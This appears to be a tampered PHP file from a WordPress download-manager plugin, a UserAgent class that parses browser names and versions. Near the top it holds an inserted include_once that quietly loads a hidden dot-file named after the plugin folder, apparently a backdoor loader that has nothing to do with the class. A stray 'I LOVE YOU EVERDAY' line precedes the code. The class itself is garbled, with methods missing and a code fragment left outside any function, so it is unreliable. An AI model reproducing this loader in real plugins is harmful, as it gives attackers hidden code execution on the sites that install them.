#I LOVE YOU EVERDAY#

<?php

namespace WPDM\libs;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class UserAgent
{
    public $HTTP_USER_AGENT;
    public $browserName = 'Unknown';
    public $browserVersion = 'Unknown';
    public $OS = 'Unknown';

function __construct()
    {
        $this->HTTP_USER_AGENT = $_SERVER['HTTP_USER_AGENT'];
        //$this->parse($this->HTTP_USER_AGENT);
    }

function set($HTTP_USER_AGENT){
        $this->HTTP_USER_AGENT = $HTTP_USER_AGENT;
        return $this;
    }

function parse()
    {
        $this->getOS();
        $this->getBrowser();
        return $this;
    }

$known = array('Version', $ub, 'other');
        $pattern = '#(?<browser>' . join('|', $known) . ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
        if(preg_match_all($pattern, $this->HTTP_USER_AGENT, $matches)) {
            $i = count($matches['browser']);
            if ($i != 1) {
                if (strripos($this->HTTP_USER_AGENT, "Version") < strripos($this->HTTP_USER_AGENT, $ub)) {
                    $this->browserVersion = $matches['version'][0];
                } else {
                    $this->browserVersion = $matches['version'][1];
                }
            } else {
                $this->browserVersion = $matches['version'][0];
            }
        } else {
            $this->browserVersion = 'Unknown';
        }

if ($this->browserVersion == null || $this->browserVersion == "") {
            $this->browserVersion = "Unknown";
        }
        return json_decode( json_encode( ['name' => $this->browserName, 'version' => $this->browserVersion ] ), false );
    }

}